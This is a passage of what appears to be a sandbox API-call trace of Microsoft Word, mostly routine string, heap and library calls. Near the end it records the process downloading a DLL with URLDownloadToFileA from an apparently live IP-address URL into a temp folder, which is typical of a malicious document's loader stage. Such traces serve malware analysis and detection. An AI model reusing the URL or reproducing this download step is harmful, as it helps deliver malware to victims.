¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿb\x90Y»dv\x19", lpUsedDefaultChar=0x0) returned 256 [0121.058] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x197528, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0121.058] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x197528, cbMultiByte=256, lpWideCharStr=0x196c78, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0121.058] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0121.058] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x196a68, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0121.058] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x197328, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿb\x90Y»dv\x19", lpUsedDefaultChar=0x0) returned 256 [0121.058] RtlInitializeSListHead (in: ListHead=0x11fda0e8 | out: ListHead=0x11fda0e8) [0121.059] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76720000 [0121.059] GetProcAddress (hModule=0x76720000, lpProcName="FlsAlloc") returned 0x7673a980 [0121.059] GetProcAddress (hModule=0x76720000, lpProcName="FlsFree") returned 0x76744ff0 [0121.060] GetProcAddress (hModule=0x76720000, lpProcName="FlsGetValue") returned 0x76737570 [0121.060] GetProcAddress (hModule=0x76720000, lpProcName="FlsSetValue") returned 0x76739e30 [0121.061] GetProcAddress (hModule=0x76720000, lpProcName="InitializeCriticalSectionEx") returned 0x76746740 [0121.061] GetProcAddress (hModule=0x76720000, lpProcName="InitOnceExecuteOnce") returned 0x769cc2d0 [0121.062] GetProcAddress (hModule=0x76720000, lpProcName="CreateEventExW") returned 0x767466a0 [0121.062] GetProcAddress (hModule=0x76720000, lpProcName="CreateSemaphoreW") returned 0x76746710 [0121.062] GetProcAddress (hModule=0x76720000, lpProcName="CreateSemaphoreExW") returned 0x76746700 [0121.063] GetProcAddress (hModule=0x76720000, lpProcName="CreateThreadpoolTimer") returned 0x7673ace0 [0121.063] GetProcAddress (hModule=0x76720000, lpProcName="SetThreadpoolTimer") returned 0x77217dc0 [0121.063] GetProcAddress (hModule=0x76720000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77224010 [0121.064] GetProcAddress (hModule=0x76720000, lpProcName="CloseThreadpoolTimer") returned 0x77222a50 [0121.064] GetProcAddress (hModule=0x76720000, lpProcName="CreateThreadpoolWait") returned 0x7673a7b0 [0121.065] GetProcAddress (hModule=0x76720000, lpProcName="SetThreadpoolWait") returned 0x77222290 [0121.065] GetProcAddress (hModule=0x76720000, lpProcName="CloseThreadpoolWait") returned 0x77222910 [0121.065] GetProcAddress (hModule=0x76720000, lpProcName="FlushProcessWriteBuffers") returned 0x77247a60 [0121.066] GetProcAddress (hModule=0x76720000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7723ac00 [0121.066] GetProcAddress (hModule=0x76720000, lpProcName="GetCurrentProcessorNumber") returned 0x7722a890 [0121.066] GetProcAddress (hModule=0x76720000, lpProcName="CreateSymbolicLinkW") returned 0x76760830 [0121.067] GetProcAddress (hModule=0x76720000, lpProcName="GetCurrentPackageId") returned 0x769cded0 [0121.067] GetProcAddress (hModule=0x76720000, lpProcName="GetTickCount64") returned 0x76733630 [0121.067] GetProcAddress (hModule=0x76720000, lpProcName="GetFileInformationByHandleEx") returned 0x76760ea0 [0121.068] GetProcAddress (hModule=0x76720000, lpProcName="SetFileInformationByHandle") returned 0x76746c30 [0121.068] GetProcAddress (hModule=0x76720000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x76746cf0 [0121.069] GetProcAddress (hModule=0x76720000, lpProcName="InitializeConditionVariable") returned 0x771f6710 [0121.069] GetProcAddress (hModule=0x76720000, lpProcName="WakeConditionVariable") returned 0x7723c720 [0121.071] GetProcAddress (hModule=0x76720000, lpProcName="WakeAllConditionVariable") returned 0x77238d70 [0121.071] GetProcAddress (hModule=0x76720000, lpProcName="SleepConditionVariableCS") returned 0x76a47f60 [0121.072] GetProcAddress (hModule=0x76720000, lpProcName="InitializeSRWLock") returned 0x771f6710 [0121.072] GetProcAddress (hModule=0x76720000, lpProcName="AcquireSRWLockExclusive") returned 0x7721d210 [0121.072] GetProcAddress (hModule=0x76720000, lpProcName="TryAcquireSRWLockExclusive") returned 0x771f3650 [0121.073] GetProcAddress (hModule=0x76720000, lpProcName="ReleaseSRWLockExclusive") returned 0x7721d080 [0121.073] GetProcAddress (hModule=0x76720000, lpProcName="SleepConditionVariableSRW") returned 0x76a47fb0 [0121.073] GetProcAddress (hModule=0x76720000, lpProcName="CreateThreadpoolWork") returned 0x7673ea00 [0121.074] GetProcAddress (hModule=0x76720000, lpProcName="SubmitThreadpoolWork") returned 0x7721ce10 [0121.074] GetProcAddress (hModule=0x76720000, lpProcName="CloseThreadpoolWork") returned 0x77220550 [0121.075] GetProcAddress (hModule=0x76720000, lpProcName="CompareStringEx") returned 0x7673ff80 [0121.075] GetProcAddress (hModule=0x76720000, lpProcName="GetLocaleInfoEx") returned 0x7673a750 [0121.075] GetProcAddress (hModule=0x76720000, lpProcName="LCMapStringEx") returned 0x76739a10 [0121.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x800) returned 0xf4b25e0 [0121.075] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0121.075] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x11fda8f0, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft Office\\Office16\\WINWORD.EXE" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\winword.exe")) returned 0x3c [0121.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x4c) returned 0xcb14060 [0121.076] GetEnvironmentStringsW () returned 0xf48d458* [0121.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1511, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1511 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x5e7) returned 0xf4079c0 [0121.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1511, lpMultiByteStr=0xf4079c0, cbMultiByte=1511, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1511 [0121.076] FreeEnvironmentStringsW (penv=0xf48d458) returned 1 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xa0) returned 0xc94b0a8 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1f) returned 0xcb5f350 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0xf402bd0 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x37) returned 0xcb45cf0 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3c) returned 0xcb7c240 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x31) returned 0xcb45d70 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x14) returned 0xc852838 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x24) returned 0xc85a058 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x31) returned 0xcb45db0 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x28) returned 0xc85a3b8 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xd) returned 0xc8f6638 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1d) returned 0xcb5f378 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x31) returned 0xcb45e30 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x15) returned 0xc852b78 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x17) returned 0xc852b38 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xe) returned 0xc8f6530 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x69) returned 0xc97d770 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3e) returned 0xcb7c288 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1b) returned 0xcb5f3a0 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1d) returned 0xcb5f9e0 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x48) returned 0xf492200 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x12) returned 0xc852998 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x18) returned 0xc852c78 [0121.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1b) returned 0xcb5f670 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x24) returned 0xc85a178 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x29) returned 0xf402930 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1e) returned 0xcb5fa30 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x6b) returned 0xc97dba8 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x17) returned 0xc852a78 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x14) returned 0xc852cd8 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xf) returned 0xc8f6590 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x16) returned 0xc852a98 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2a) returned 0xf402b98 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x29) returned 0xf402d58 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x12) returned 0xc852d18 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x21) returned 0xc859f38 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x16) returned 0xc852ab8 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x22) returned 0xc85a1a8 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x12) returned 0xc852a18 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x65) returned 0xcb518e0 [0121.077] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xf4079c0 | out: hHeap=0x5c0000) returned 1 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0xcb50798 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0xcb58118 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0xcb5fa80 [0121.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2) returned 0xcb582a8 [0121.078] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xcb582a8 | out: hHeap=0x5c0000) returned 1 [0121.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2) returned 0xcb582a8 [0121.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0xcb582d8 [0121.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0xc852cf8 [0121.078] GetLastError () returned 0x0 [0121.078] SetLastError (dwErrCode=0x0) [0121.078] GetLastError () returned 0x0 [0121.078] SetLastError (dwErrCode=0x0) [0121.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xb8) returned 0xb3e33f0 [0121.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6a6) returned 0xcbc0fa0 [0121.078] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xcbc0fa0 | out: hHeap=0x5c0000) returned 1 [0121.078] GetLastError () returned 0x0 [0121.078] SetLastError (dwErrCode=0x0) [0121.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0xcb58388 [0121.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2) returned 0xcb583a8 [0121.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x4) returned 0xcb584d8 [0121.078] GetLastError () returned 0x0 [0121.078] SetLastError (dwErrCode=0x0) [0121.078] GetLastError () returned 0x0 [0121.079] SetLastError (dwErrCode=0x0) [0121.079] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xb8) returned 0xb3e36f0 [0121.079] GetLastError () returned 0x0 [0121.079] SetLastError (dwErrCode=0x0) [0121.079] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6a6) returned 0xcbc0fa0 [0121.079] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xcbc0fa0 | out: hHeap=0x5c0000) returned 1 [0121.079] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xcb58388 | out: hHeap=0x5c0000) returned 1 [0121.079] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xb3e33f0 | out: hHeap=0x5c0000) returned 1 [0121.079] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xcb584d8 | out: hHeap=0x5c0000) returned 1 [0121.079] GetLastError () returned 0x0 [0121.079] SetLastError (dwErrCode=0x0) [0121.079] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0xcb584d8 [0121.079] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2) returned 0xcb585b8 [0121.079] GetLastError () returned 0x0 [0121.079] SetLastError (dwErrCode=0x0) [0121.079] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x200) returned 0xc8b0958 [0121.079] GetLastError () returned 0x0 [0121.079] SetLastError (dwErrCode=0x0) [0121.079] GetLastError () returned 0x0 [0121.079] SetLastError (dwErrCode=0x0) [0121.079] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x4) returned 0xcb58558 [0121.079] GetLastError () returned 0x0 [0121.079] SetLastError (dwErrCode=0x0) [0121.079] GetLastError () returned 0x0 [0121.079] SetLastError (dwErrCode=0x0) [0121.079] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xb8) returned 0xb3e37b0 [0121.080] GetLastError () returned 0x0 [0121.080] SetLastError (dwErrCode=0x0) [0121.080] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6a6) returned 0xcbc0fa0 [0121.080] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xcbc0fa0 | out: hHeap=0x5c0000) returned 1 [0121.080] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xcb584d8 | out: hHeap=0x5c0000) returned 1 [0121.080] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xb3e36f0 | out: hHeap=0x5c0000) returned 1 [0121.080] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xcb58558 | out: hHeap=0x5c0000) returned 1 [0121.080] GetLastError () returned 0x0 [0121.080] SetLastError (dwErrCode=0x0) [0121.080] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0xcb584d8 [0121.080] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xcb585b8 | out: hHeap=0x5c0000) returned 1 [0121.080] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xcb583a8 | out: hHeap=0x5c0000) returned 1 [0121.080] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0xcb583a8 [0121.080] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0xcb14168 [0121.080] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0xcb7c9d8 [0121.080] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0xcb7ca20 [0121.080] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0xcb78fa0 [0121.081] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0xcb78b20 [0121.081] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xcb78b20 | out: hHeap=0x5c0000) returned 1 [0121.081] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0xca873c0 [0121.081] GetLocalTime (in: lpSystemTime=0x197574 | out: lpSystemTime=0x197574*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x4, wDay=0xb, wHour=0x12, wMinute=0x32, wSecond=0x32, wMilliseconds=0xe0)) [0121.081] wsprintfA (in: param_1=0xca873c0, param_2="%02u:%02u:%02u " | out: param_1="18:50:55 ") returned 9 [0121.081] wsprintfA (in: param_1=0xca873c9, param_2="Starting download\n" | out: param_1="Starting download\n") returned 18 [0121.081] OutputDebugStringA (lpOutputString="18:50:55 Starting download\n") [0121.082] LocalFree (hMem=0xca873c0) returned 0x0 [0121.082] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1033) returned 0xf493838 [0121.082] GetTempPathA (in: nBufferLength=0x1000, lpBuffer=0xf493840 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0121.083] GetTempFileNameA (in: lpPathName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\", lpPrefixString="y", uUnique=0x0, lpTempFileName=0xf493840 | out: lpTempFileName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\yB2B4.tmp" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\yb2b4.tmp")) returned 0xb2b4 [0121.088] DeleteFileA (lpFileName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\yB2B4.tmp" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\yb2b4.tmp")) returned 1 [0121.088] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0xca833a0 [0121.088] GetLocalTime (in: lpSystemTime=0x1975d8 | out: lpSystemTime=0x1975d8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x4, wDay=0xb, wHour=0x12, wMinute=0x32, wSecond=0x32, wMilliseconds=0xef)) [0121.088] wsprintfA (in: param_1=0xca833a0, param_2="%02u:%02u:%02u " | out: param_1="18:50:55 ") returned 9 [0121.089] wsprintfA (in: param_1=0xca833a9, param_2="Starting download from %s to %s\n" | out: param_1="Starting download from http://45.8.146.139/fhfty/NH1-X8NL7CO4_YNJ-MEFY7BW9QYIJW1I/-f to C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\yB2B4.tmp.dll\n") returned 139 [0121.089] OutputDebugStringA (lpOutputString="18:50:55 Starting download from http://45.8.146.139/fhfty/NH1-X8NL7CO4_YNJ-MEFY7BW9QYIJW1I/-f to C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\yB2B4.tmp.dll\n") [0121.089] LocalFree (hMem=0xca833a0) returned 0x0 [0121.089] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x717a0000 [0121.106] URLDownloadToFileA (param_1=0x0, param_2="http://45.8.146.139/fhfty/NH1-X8NL7CO4_YNJ-MEFY7BW9QYIJW1I/-f", param_3="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\yB2B4.tmp.dll" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\yb2b4.tmp.dll"), param_4=0x0, param_5=0x0) returned 0x0 [0123.148] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0xca853b0 [0123.148] GetLocalTime (in: lpSystemTime=0x1975c8 | out: lpSystemTime=0x1975c8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x4, wDay=0xb, wHour=0x12, wMinute=0x32, wSecond=0x34, wMilliseconds=0x120)) [0123.148] wsprintfA (in: param_1=0xca853b0, param_2="%02u:%02u:%02u " | out: param_1="18:50:57 ") returned 9 [0123.148] GetLastError () returned 0x0 [0123.149] FormatMessageA (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x19700c, nSize=0x0, Arguments=0x0 | out: lpBuffer="8¢…\x0c") returned 0x27 [0123.150] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0xf4028f8 [0123.151] LocalFree (hMem=0xc85a238) returned 0x0 [0123.151] GetLastError () returned 0x0 [0123.151] wsprintfA (in: param_1=0xca853b9, param_2="Finished download from %s to %s: %d %s\n" | out: param_1="Finished download from http://45.8.146.139/fhfty/NH1-X8NL7CO4_YNJ-MEFY7BW9QYIJW1I/-f to C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\yB2B4.tmp.dll: 0 Error#0:The operation completed successfully.\r\n\n") returned 190 [0123.151] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xf4028f8 | out: hHeap=0x5c0000) returned 1 [0123.151] OutputDebugStringA (lpOutputString="18:50:57 Finished download from http://45.8.146.139/fhfty/NH1-X8NL7CO4_YNJ-MEFY7BW9QYIJW1I/-f to 